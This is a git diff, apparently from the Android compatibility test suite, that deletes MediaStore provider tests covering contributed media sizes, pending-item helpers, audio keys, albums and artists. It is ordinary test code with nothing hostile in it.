- sm.getStorageVolume(Uri.parse("content://com.example/path/to/item/"));
- fail("getStorageVolume unrelated should throw exception");
- } catch (IllegalArgumentException expected) {
- }
- }
-
- @Test
- public void testContributedMedia() throws Exception {
- // STOPSHIP: remove this once isolated storage is always enabled
- Assume.assumeTrue(StorageManager.hasIsolatedStorage());
- Assume.assumeTrue(MediaStore.VOLUME_EXTERNAL_PRIMARY.equals(mVolumeName));
-
- InstrumentationRegistry.getInstrumentation().getUiAutomation().adoptShellPermissionIdentity(
- android.Manifest.permission.CLEAR_APP_USER_DATA,
- android.Manifest.permission.PACKAGE_USAGE_STATS);
-
- // Start by cleaning up contributed items
- MediaStore.deleteContributedMedia(getContext(), getContext().getPackageName(),
- android.os.Process.myUserHandle());
-
- // Force sync to try updating other views
- ProviderTestUtils.executeShellCommand("sync");
- SystemClock.sleep(500);
-
- // Measure usage before
- final long beforePackage = getExternalPackageSize();
- final long beforeTotal = getExternalTotalSize();
- final long beforeContributed = MediaStore.getContributedMediaSize(getContext(),
- getContext().getPackageName(), android.os.Process.myUserHandle());
-
- final long stageSize;
- try (AssetFileDescriptor fd = getContext().getResources()
- .openRawResourceFd(R.raw.volantis)) {
- stageSize = fd.getLength();
- }
-
- // Create media both inside and outside sandbox
- final Uri inside;
- final Uri outside;
- final File file = new File(ProviderTestUtils.stageDir(mVolumeName),
- "cts" + System.nanoTime() + ".jpg");
- ProviderTestUtils.stageFile(R.raw.volantis, file);
- inside = ProviderTestUtils.scanFileFromShell(file);
- outside = ProviderTestUtils.stageMedia(R.raw.volantis, mExternalImages);
-
- {
- final HashSet<Long> visible = getVisibleIds(mExternalImages);
- assertTrue(visible.contains(ContentUris.parseId(inside)));
- assertTrue(visible.contains(ContentUris.parseId(outside)));
-
- // Force sync to try updating other views
- ProviderTestUtils.executeShellCommand("sync");
- SystemClock.sleep(500);
-
- final long afterPackage = getExternalPackageSize();
- final long afterTotal = getExternalTotalSize();
- final long afterContributed = MediaStore.getContributedMediaSize(getContext(),
- getContext().getPackageName(), android.os.Process.myUserHandle());
-
- assertMostlyEquals(beforePackage + stageSize, afterPackage, SIZE_DELTA);
- assertMostlyEquals(beforeTotal + stageSize + stageSize, afterTotal, SIZE_DELTA);
- assertMostlyEquals(beforeContributed + stageSize, afterContributed, SIZE_DELTA);
- }
-
- // Delete only contributed items
- MediaStore.deleteContributedMedia(getContext(), getContext().getPackageName(),
- android.os.Process.myUserHandle());
- {
- final HashSet<Long> visible = getVisibleIds(mExternalImages);
- assertTrue(visible.contains(ContentUris.parseId(inside)));
- assertFalse(visible.contains(ContentUris.parseId(outside)));
-
- // Force sync to try updating other views
- ProviderTestUtils.executeShellCommand("sync");
- SystemClock.sleep(500);
-
- final long afterPackage = getExternalPackageSize();
- final long afterTotal = getExternalTotalSize();
- final long afterContributed = MediaStore.getContributedMediaSize(getContext(),
- getContext().getPackageName(), android.os.Process.myUserHandle());
-
- assertMostlyEquals(beforePackage + stageSize, afterPackage, SIZE_DELTA);
- assertMostlyEquals(beforeTotal + stageSize, afterTotal, SIZE_DELTA);
- assertMostlyEquals(0, afterContributed, SIZE_DELTA);
- }
- }
-
- private long getExternalPackageSize() throws Exception {
- final StorageManager storage = getContext().getSystemService(StorageManager.class);
- final StorageStatsManager stats = getContext().getSystemService(StorageStatsManager.class);
-
- final UUID externalUuid = storage.getUuidForPath(MediaStore.getVolumePath(mVolumeName));
- return stats.queryStatsForPackage(externalUuid, getContext().getPackageName(),
- android.os.Process.myUserHandle()).getDataBytes();
- }
-
- private long getExternalTotalSize() throws Exception {
- final StorageManager storage = getContext().getSystemService(StorageManager.class);
- final StorageStatsManager stats = getContext().getSystemService(StorageStatsManager.class);
-
- final UUID externalUuid = storage.getUuidForPath(MediaStore.getVolumePath(mVolumeName));
- return stats.queryExternalStatsForUser(externalUuid, android.os.Process.myUserHandle())
- .getTotalBytes();
- }
-
- private HashSet<Long> getVisibleIds(Uri collectionUri) {
- final HashSet<Long> res = new HashSet<>();
- try (Cursor c = mContentResolver.query(collectionUri,
- new String[] { MediaColumns._ID }, null, null)) {
- while (c.moveToNext()) {
- res.add(c.getLong(0));
- }
- }
- return res;
- }
-
- private static void assertMostlyEquals(long expected, long actual, long delta) {
- if (Math.abs(expected - actual) > delta) {
- fail("Expected roughly " + expected + " but was " + actual);
- }
- }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStoreUtils.java b/tests/tests/provider/src/android/provider/cts/MediaStoreUtils.java
deleted file mode 100644
index 70c6988..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStoreUtils.java
+++ /dev/null
@@ -1,219 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.provider.cts;
-
-import android.content.ContentValues;
-import android.content.Context;
-import android.net.Uri;
-import android.os.ParcelFileDescriptor;
-import android.provider.MediaStore;
-import android.provider.MediaStore.DownloadColumns;
-import android.provider.MediaStore.Downloads;
-import android.provider.MediaStore.MediaColumns;
-import android.text.format.DateUtils;
-
-import org.junit.Test;
-
-import java.io.FileNotFoundException;
-import java.io.OutputStream;
-import java.util.Objects;
-
-import androidx.annotation.NonNull;
-import androidx.annotation.Nullable;
-
-public class MediaStoreUtils {
- @Test
- public void testStub() {
- }
-
- /**
- * Create a new pending media item using the given parameters. Pending items
- * are expected to have a short lifetime, and owners should either
- * {@link PendingSession#publish()} or {@link PendingSession#abandon()} a
- * pending item within a few hours after first creating it.
- *
- * @return token which can be passed to {@link #openPending(Context, Uri)}
- * to work with this pending item.
- * @see MediaColumns#IS_PENDING
- * @see MediaStore#setIncludePending(Uri)
- * @see MediaStore#createPending(Context, PendingParams)
- * @removed
- */
- @Deprecated
- public static @NonNull Uri createPending(@NonNull Context context,
- @NonNull PendingParams params) {
- return context.getContentResolver().insert(params.insertUri, params.insertValues);
- }
-
- /**
- * Open a pending media item to make progress on it. You can open a pending
- * item multiple times before finally calling either
- * {@link PendingSession#publish()} or {@link PendingSession#abandon()}.
- *
- * @param uri token which was previously returned from
- * {@link #createPending(Context, PendingParams)}.
- * @removed
- */
- @Deprecated
- public static @NonNull PendingSession openPending(@NonNull Context context, @NonNull Uri uri) {
- return new PendingSession(context, uri);
- }
-
- /**
- * Parameters that describe a pending media item.
- *
- * @removed
- */
- @Deprecated
- public static class PendingParams {
- /** {@hide} */
- public final Uri insertUri;
- /** {@hide} */
- public final ContentValues insertValues;
-
- /**
- * Create parameters that describe a pending media item.
- *
- * @param insertUri the {@code content://} Uri where this pending item
- * should be inserted when finally published. For example, to
- * publish an image, use
- * {@link MediaStore.Images.Media#getContentUri(String)}.
- */
- public PendingParams(@NonNull Uri insertUri, @NonNull String displayName,
- @NonNull String mimeType) {
- this.insertUri = Objects.requireNonNull(insertUri);
- final long now = System.currentTimeMillis() / 1000;
- this.insertValues = new ContentValues();
- this.insertValues.put(MediaColumns.DISPLAY_NAME, Objects.requireNonNull(displayName));
- this.insertValues.put(MediaColumns.MIME_TYPE, Objects.requireNonNull(mimeType));
- this.insertValues.put(MediaColumns.DATE_ADDED, now);
- this.insertValues.put(MediaColumns.DATE_MODIFIED, now);
- this.insertValues.put(MediaColumns.IS_PENDING, 1);
- this.insertValues.put(MediaColumns.DATE_EXPIRES,
- (System.currentTimeMillis() + DateUtils.DAY_IN_MILLIS) / 1000);
- }
-
- public void setPath(@Nullable String path) {
- if (path == null) {
- this.insertValues.remove(MediaColumns.RELATIVE_PATH);
- } else {
- this.insertValues.put(MediaColumns.RELATIVE_PATH, path);
- }
- }
-
- /**
- * Optionally set the Uri from where the file has been downloaded. This is used
- * for files being added to {@link Downloads} table.
- *
- * @see DownloadColumns#DOWNLOAD_URI
- */
- public void setDownloadUri(@Nullable Uri downloadUri) {
- if (downloadUri == null) {
- this.insertValues.remove(DownloadColumns.DOWNLOAD_URI);
- } else {
- this.insertValues.put(DownloadColumns.DOWNLOAD_URI, downloadUri.toString());
- }
- }
-
- /**
- * Optionally set the Uri indicating HTTP referer of the file. This is used for
- * files being added to {@link Downloads} table.
- *
- * @see DownloadColumns#REFERER_URI
- */
- public void setRefererUri(@Nullable Uri refererUri) {
- if (refererUri == null) {
- this.insertValues.remove(DownloadColumns.REFERER_URI);
- } else {
- this.insertValues.put(DownloadColumns.REFERER_URI, refererUri.toString());
- }
- }
- }
-
- /**
- * Session actively working on a pending media item. Pending items are
- * expected to have a short lifetime, and owners should either
- * {@link PendingSession#publish()} or {@link PendingSession#abandon()} a
- * pending item within a few hours after first creating it.
- *
- * @removed
- */
- @Deprecated
- public static class PendingSession implements AutoCloseable {
- /** {@hide} */
- private final Context mContext;
- /** {@hide} */
- private final Uri mUri;
-
- /** {@hide} */
- public PendingSession(Context context, Uri uri) {
- mContext = Objects.requireNonNull(context);
- mUri = Objects.requireNonNull(uri);
- }
-
- /**
- * Open the underlying file representing this media item. When a media
- * item is successfully completed, you should
- * {@link ParcelFileDescriptor#close()} and then {@link #publish()} it.
- *
- * @see #notifyProgress(int)
- */
- public @NonNull ParcelFileDescriptor open() throws FileNotFoundException {
- return mContext.getContentResolver().openFileDescriptor(mUri, "rw");
- }
-
- /**
- * Open the underlying file representing this media item. When a media
- * item is successfully completed, you should
- * {@link OutputStream#close()} and then {@link #publish()} it.
- *
- * @see #notifyProgress(int)
- */
- public @NonNull OutputStream openOutputStream() throws FileNotFoundException {
- return mContext.getContentResolver().openOutputStream(mUri);
- }
-
- /**
- * When this media item is successfully completed, call this method to
- * publish and make the final item visible to the user.
- *
- * @return the final {@code content://} Uri representing the newly
- * published media.
- */
- public @NonNull Uri publish() {
- final ContentValues values = new ContentValues();
- values.put(MediaColumns.IS_PENDING, 0);
- values.putNull(MediaColumns.DATE_EXPIRES);
- mContext.getContentResolver().update(mUri, values, null, null);
- return mUri;
- }
-
- /**
- * When this media item has failed to be completed, call this method to
- * destroy the pending item record and any data related to it.
- */
- public void abandon() {
- mContext.getContentResolver().delete(mUri, null, null);
- }
-
- @Override
- public void close() {
- // No resources to close, but at least we can inform people that no
- // progress is being actively made.
- }
- }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_AudioTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_AudioTest.java
deleted file mode 100644
index a29b93d..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_AudioTest.java
+++ /dev/null
@@ -1,75 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertTrue;
-
-import android.platform.test.annotations.Presubmit;
-import android.provider.MediaStore.Audio;
-
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@Presubmit
-@RunWith(AndroidJUnit4.class)
-public class MediaStore_AudioTest {
- private String mKeyForBeatles;
-
- @Before
- public void setUp() throws Exception {
- mKeyForBeatles = Audio.keyFor("beatles");
- }
-
- @Test
- public void testKeyFor() {
- assertEquals(mKeyForBeatles, Audio.keyFor("[beatles]"));
- assertEquals(mKeyForBeatles, Audio.keyFor("(beatles)"));
- assertEquals(mKeyForBeatles, Audio.keyFor("beatles!"));
- assertEquals(mKeyForBeatles, Audio.keyFor("beatles?"));
- assertEquals(mKeyForBeatles, Audio.keyFor("'beatles'"));
- assertEquals(mKeyForBeatles, Audio.keyFor("beatles."));
- assertEquals(mKeyForBeatles, Audio.keyFor("beatles,"));
-
- assertEquals(mKeyForBeatles, Audio.keyFor(" beatles "));
-
- assertEquals(mKeyForBeatles, Audio.keyFor("BEATLES"));
-
- assertEquals(mKeyForBeatles, Audio.keyFor("the beatles"));
- assertEquals(mKeyForBeatles, Audio.keyFor("a beatles"));
- assertEquals(mKeyForBeatles, Audio.keyFor("an beatles"));
-
- assertEquals(mKeyForBeatles, Audio.keyFor("beatles,the"));
- assertEquals(mKeyForBeatles, Audio.keyFor("beatles,a"));
- assertEquals(mKeyForBeatles, Audio.keyFor("beatles,an"));
-
- assertEquals(mKeyForBeatles, Audio.keyFor("beatles, the"));
- assertEquals(mKeyForBeatles, Audio.keyFor("beatles, a"));
- assertEquals(mKeyForBeatles, Audio.keyFor("beatles, an"));
-
- // test sorting
- assertTrue(Audio.keyFor("areosmith").compareTo(mKeyForBeatles) < 0);
- assertTrue(Audio.keyFor("coldplay").compareTo(mKeyForBeatles) > 0);
-
- // test accented characters
- assertTrue(Audio.keyFor("¿Cómo esto funciona?").compareTo(mKeyForBeatles) < 0);
- assertTrue(Audio.keyFor("Le passé composé").compareTo(mKeyForBeatles) > 0);
- }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_AlbumsTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_AlbumsTest.java
deleted file mode 100644
index 9d17b40..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_AlbumsTest.java
+++ /dev/null
@@ -1,231 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static android.provider.cts.MediaStoreTest.TAG;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.content.ContentResolver;
-import android.content.ContentUris;
-import android.content.ContentValues;
-import android.content.Context;
-import android.database.Cursor;
-import android.graphics.BitmapFactory;
-import android.net.Uri;
-import android.platform.test.annotations.Presubmit;
-import android.provider.MediaStore;
-import android.provider.MediaStore.Audio.Albums;
-import android.provider.MediaStore.Audio.Media;
-import android.provider.cts.MediaStoreAudioTestHelper.Audio1;
-import android.provider.cts.MediaStoreAudioTestHelper.Audio2;
-import android.util.Log;
-import android.util.Size;
-
-import androidx.test.InstrumentationRegistry;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-
-import java.io.File;
-import java.io.IOException;
-
-@Presubmit
-@RunWith(Parameterized.class)
-public class MediaStore_Audio_AlbumsTest {
- private Context mContext;
- private ContentResolver mContentResolver;
-
- @Parameter(0)
- public String mVolumeName;
-
- @Parameters
- public static Iterable<? extends Object> data() {
- return ProviderTestUtils.getSharedVolumeNames();
- }
-
- @Before
- public void setUp() throws Exception {
- mContext = InstrumentationRegistry.getTargetContext();
- mContentResolver = mContext.getContentResolver();
-
- Log.d(TAG, "Using volume " + mVolumeName);
- }
-
- @Test
- public void testGetContentUri() {
- Cursor c = null;
- assertNotNull(c = mContentResolver.query(
- Albums.getContentUri(mVolumeName), null, null,
- null, null));
- c.close();
- }
-
- @Test
- public void testStoreAudioAlbums() {
- // do not support direct insert operation of the albums
- Uri audioAlbumsUri = Albums.getContentUri(mVolumeName);
- try {
- mContentResolver.insert(audioAlbumsUri, new ContentValues());
- fail("Should throw UnsupportedOperationException!");
- } catch (UnsupportedOperationException e) {
- // expected
- }
-
- // the album item is inserted when inserting audio media
- Audio1 audio1 = Audio1.getInstance();
- Uri audioMediaUri = audio1.insert(mContentResolver, mVolumeName);
-
- String selection = Albums.ALBUM +"=?";
- String[] selectionArgs = new String[] { Audio1.ALBUM };
- try {
- // query
- Cursor c = mContentResolver.query(audioAlbumsUri, null, selection, selectionArgs,
- null);
- assertEquals(1, c.getCount());
- c.moveToFirst();
- long id = c.getLong(c.getColumnIndex(Albums._ID));
- assertTrue(id > 0);
- assertFalse(c.isNull(c.getColumnIndex(Albums.ALBUM_ID)));
- assertEquals(Audio1.ALBUM, c.getString(c.getColumnIndex(Albums.ALBUM)));
- assertNull(c.getString(c.getColumnIndex(Albums.ALBUM_ART)));
- assertNotNull(c.getString(c.getColumnIndex(Albums.ALBUM_KEY)));
- assertFalse(c.isNull(c.getColumnIndex(Albums.ARTIST_ID)));
- assertEquals(Audio1.ARTIST, c.getString(c.getColumnIndex(Albums.ARTIST)));
- assertEquals(Audio1.YEAR, c.getInt(c.getColumnIndex(Albums.FIRST_YEAR)));
- assertEquals(Audio1.YEAR, c.getInt(c.getColumnIndex(Albums.LAST_YEAR)));
- assertEquals(1, c.getInt(c.getColumnIndex(Albums.NUMBER_OF_SONGS)));
- c.close();
-
- // do not support update operation of the albums
- ContentValues albumValues = new ContentValues();
- albumValues.put(Albums.ALBUM, Audio2.ALBUM);
- try {
- mContentResolver.update(audioAlbumsUri, albumValues, selection, selectionArgs);
- fail("Should throw UnsupportedOperationException!");
- } catch (UnsupportedOperationException e) {
- // expected
- }
-
- // do not support delete operation of the albums
- try {
- mContentResolver.delete(audioAlbumsUri, selection, selectionArgs);
- fail("Should throw UnsupportedOperationException!");
- } catch (UnsupportedOperationException e) {
- // expected
- }
-
- // test filtering
- Uri filterUri = audioAlbumsUri.buildUpon()
- .appendQueryParameter("filter", Audio1.ARTIST).build();
- c = mContentResolver.query(filterUri, null, null, null, null);
- assertEquals(1, c.getCount());
- c.moveToFirst();
- long fid = c.getLong(c.getColumnIndex(Albums._ID));
- assertTrue(id == fid);
- c.close();
-
- filterUri = audioAlbumsUri.buildUpon().appendQueryParameter("filter", "xyzfoo").build();
- c = mContentResolver.query(filterUri, null, null, null, null);
- assertEquals(0, c.getCount());
- c.close();
- } finally {
- mContentResolver.delete(audioMediaUri, null, null);
- }
- // the album items are deleted when deleting the audio media which belongs to the album
- Cursor c = mContentResolver.query(audioAlbumsUri, null, selection, selectionArgs, null);
- assertEquals(0, c.getCount());
- c.close();
- }
-
- @Test
- public void testAlbumArt() throws Exception {
- final File dir = ProviderTestUtils.stageDir(mVolumeName);
- final File path = new File(dir, "test" + System.currentTimeMillis() + ".mp3");
- try {
- ProviderTestUtils.stageFile(R.raw.testmp3, path);
-
- ContentValues v = new ContentValues();
- v.put(Media.DATA, path.getAbsolutePath());
- v.put(Media.TITLE, "testing");
- v.put(Albums.ALBUM, "test" + System.currentTimeMillis());
-
- final Uri mediaUri = mContentResolver
- .insert(MediaStore.Audio.Media.getContentUri(mVolumeName), v);
- final long mediaId = ContentUris.parseId(mediaUri);
-
- final long albumId;
- try (Cursor c = mContentResolver.query(mediaUri, null, null, null, null)) {
- assertTrue(c.moveToFirst());
- albumId = c.getLong(c.getColumnIndex(Albums.ALBUM_ID));
- }
-
- final Uri albumUri = ContentUris
- .withAppendedId(MediaStore.Audio.Albums.getContentUri(mVolumeName), albumId);
-
- // Verify that normal thumbnails work
- assertNotNull(mContentResolver.loadThumbnail(mediaUri, new Size(32, 32), null));
- assertNotNull(mContentResolver.loadThumbnail(albumUri, new Size(32, 32), null));
-
- // Verify that hidden APIs still work to obtain album art
- final Uri byMedia = MediaStore.AUTHORITY_URI.buildUpon().appendPath(mVolumeName)
- .appendPath("audio").appendPath("media")
- .appendPath(Long.toString(mediaId)).appendPath("albumart").build();
- final Uri byAlbum = MediaStore.AUTHORITY_URI.buildUpon().appendPath(mVolumeName)
- .appendPath("audio").appendPath("albumart")
- .appendPath(Long.toString(albumId)).build();
- assertNotNull(BitmapFactory.decodeStream(mContentResolver.openInputStream(byMedia)));
- assertNotNull(BitmapFactory.decodeStream(mContentResolver.openInputStream(byAlbum)));
-
- // Delete item and confirm art is cleaned up
- mContentResolver.delete(mediaUri, null, null);
-
- try {
- mContentResolver.loadThumbnail(mediaUri, new Size(32, 32), null);
- fail();
- } catch (IOException expected) {
- }
- try {
- mContentResolver.loadThumbnail(albumUri, new Size(32, 32), null);
- fail();
- } catch (IOException expected) {
- }
- try {
- BitmapFactory.decodeStream(mContentResolver.openInputStream(byMedia));
- fail();
- } catch (IOException expected) {
- }
- try {
- BitmapFactory.decodeStream(mContentResolver.openInputStream(byAlbum));
- fail();
- } catch (IOException expected) {
- }
-
- } finally {
- path.delete();
- }
- }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_ArtistsTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_ArtistsTest.java
deleted file mode 100644
index 5caefc5..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_ArtistsTest.java
+++ /dev/null
@@ -1,146 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static android.provider.cts.MediaStoreTest.TAG;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.content.Context;
-import android.database.Cursor;
-import android.net.Uri;
-import android.platform.test.annotations.Presubmit;
-import android.provider.MediaStore.Audio.Artists;
-import android.provider.cts.MediaStoreAudioTestHelper.Audio1;
-import android.provider.cts.MediaStoreAudioTestHelper.Audio2;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-
-@Presubmit
-@RunWith(Parameterized.class)
-public class MediaStore_Audio_ArtistsTest {
- private Context mContext;
- private ContentResolver mContentResolver;
-
- @Parameter(0)
- public String mVolumeName;
-
- @Parameters
- public static Iterable<? extends Object> data() {
- return ProviderTestUtils.getSharedVolumeNames();
- }
-
- @Before
- public void setUp() throws Exception {
- mContext = InstrumentationRegistry.getTargetContext();
- mContentResolver = mContext.getContentResolver();
-
- Log.d(TAG, "Using volume " + mVolumeName);
- }
-
- @Test
- public void testGetContentUri() {
- Cursor c = null;
- assertNotNull(c = mContentResolver.query(
- Artists.getContentUri(mVolumeName), null, null,
- null, null));
- c.close();
- }
-
- @Test
- public void testStoreAudioArtists() {
- Uri artistsUri = Artists.getContentUri(mVolumeName);
- // do not support insert operation of the artists
- try {
- mContentResolver.insert(artistsUri, new ContentValues());
- fail("Should throw UnsupportedOperationException!");
- } catch (UnsupportedOperationException e) {
- // expected
- }
- // the artist items are inserted when inserting audio media
- Uri uri = Audio1.getInstance().insert(mContentResolver, mVolumeName);
-
- String selection = Artists.ARTIST + "=?";
- String[] selectionArgs = new String[] { Audio1.ARTIST };
- try {
- // query
- Cursor c = mContentResolver.query(artistsUri, null, selection, selectionArgs, null);
- assertEquals(1, c.getCount());
- c.moveToFirst();
-
- assertEquals(Audio1.ARTIST, c.getString(c.getColumnIndex(Artists.ARTIST)));
- long id = c.getLong(c.getColumnIndex(Artists._ID));
- assertTrue(id > 0);
- assertNotNull(c.getString(c.getColumnIndex(Artists.ARTIST_KEY)));
- assertEquals(1, c.getInt(c.getColumnIndex(Artists.NUMBER_OF_ALBUMS)));
- assertEquals(1, c.getInt(c.getColumnIndex(Artists.NUMBER_OF_TRACKS)));
- c.close();
-
- // do not support update operation of the artists
- ContentValues artistValues = new ContentValues();
- artistValues.put(Artists.ARTIST, Audio2.ALBUM);
- try {
- mContentResolver.update(artistsUri, artistValues, selection, selectionArgs);
- fail("Should throw UnsupportedOperationException!");
- } catch (UnsupportedOperationException e) {
- // expected
- }
-
- // do not support delete operation of the artists
- try {
- mContentResolver.delete(artistsUri, selection, selectionArgs);
- fail("Should throw UnsupportedOperationException!");
- } catch (UnsupportedOperationException e) {
- // expected
- }
-
- // test filtering
- Uri filterUri = artistsUri.buildUpon()
- .appendQueryParameter("filter", Audio1.ARTIST).build();
- c = mContentResolver.query(filterUri, null, null, null, null);
- assertEquals(1, c.getCount());
- c.moveToFirst();
- long fid = c.getLong(c.getColumnIndex(Artists._ID));
- assertTrue(id == fid);
- c.close();
-
- filterUri = artistsUri.buildUpon().appendQueryParameter("filter", "xyzfoo").build();
- c = mContentResolver.query(filterUri, null, null, null, null);
- assertEquals(0, c.getCount());
- c.close();
- } finally {
- mContentResolver.delete(uri, null, null);
- }
- // the artist items are deleted when deleting the audio media which belongs to the album
- Cursor c = mContentResolver.query(artistsUri, null, selection, selectionArgs, null);
- assertEquals(0, c.getCount());
- c.close();
- }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Artists_AlbumsTest.java b/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Artists_AlbumsTest.java
deleted file mode 100644
index 5a28865..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStore_Audio_Artists_AlbumsTest.java
+++ /dev/null
@@ -1,141 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static android.provider.cts.MediaStoreTest.TAG;
-
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertNull;
-import static org.junit.Assert.fail;
-
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.content.Context;
-import android.database.Cursor;
-import android.net.Uri;
-import android.platform.test.annotations.Presubmit;
-import android.provider.MediaStore;
-import android.provider.MediaStore.Audio.Artists.Albums;
-import android.provider.MediaStore.Audio.Media;
-import android.provider.cts.MediaStoreAudioTestHelper.Audio1;
-import android.provider.cts.MediaStoreAudioTestHelper.Audio2;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-
-@Presubmit
-@RunWith(Parameterized.class)
-public class MediaStore_Audio_Artists_AlbumsTest {
- private Context mContext;
- private ContentResolver mContentResolver;
-
- @Parameter(0)
- public String mVolumeName;
-
- @Parameters
- public static Iterable<? extends Object> data() {
- return ProviderTestUtils.getSharedVolumeNames();
- }
-
- @Before
- public void setUp() throws Exception {
- mContext = InstrumentationRegistry.getTargetContext();
- mContentResolver = mContext.getContentResolver();
-
- Log.d(TAG, "Using volume " + mVolumeName);
- }
-
- @Test
- public void testGetContentUri() {
- Cursor c = null;
- Uri contentUri = MediaStore.Audio.Artists.Albums.getContentUri(mVolumeName, 1);
- assertNotNull(c = mContentResolver.query(contentUri, null, null, null, null));
- c.close();
- }
-
- @Test
- public void testStoreAudioArtistsAlbums() {
- // the album item is inserted when inserting audio media
- Uri audioMediaUri = Audio1.getInstance().insert(mContentResolver, mVolumeName);
- // get artist id
- Cursor c = mContentResolver.query(audioMediaUri, new String[] { Media.ARTIST_ID }, null,
- null, null);
- c.moveToFirst();
- Long artistId = c.getLong(c.getColumnIndex(Media.ARTIST_ID));
- c.close();
- Uri artistsAlbumsUri = MediaStore.Audio.Artists.Albums.getContentUri(mVolumeName, artistId);
- // do not support insert operation of the albums
- try {
- mContentResolver.insert(artistsAlbumsUri, new ContentValues());
- fail("Should throw UnsupportedOperationException!");
- } catch (UnsupportedOperationException e) {
- // expected
- }
-
- try {
- // query
- c = mContentResolver.query(artistsAlbumsUri, null, null, null, null);
- assertEquals(1, c.getCount());
- c.moveToFirst();
-
- assertFalse(c.isNull(c.getColumnIndex(Albums.ALBUM_ID)));
- assertEquals(Audio1.ALBUM, c.getString(c.getColumnIndex(Albums.ALBUM)));
- assertNull(c.getString(c.getColumnIndex(Albums.ALBUM_ART)));
- assertNotNull(c.getString(c.getColumnIndex(Albums.ALBUM_KEY)));
- assertFalse(c.isNull(c.getColumnIndex(Albums.ARTIST_ID)));
- assertEquals(Audio1.ARTIST, c.getString(c.getColumnIndex(Albums.ARTIST)));
- assertEquals(Audio1.YEAR, c.getInt(c.getColumnIndex(Albums.FIRST_YEAR)));
- assertEquals(Audio1.YEAR, c.getInt(c.getColumnIndex(Albums.LAST_YEAR)));
- assertEquals(1, c.getInt(c.getColumnIndex(Albums.NUMBER_OF_SONGS)));
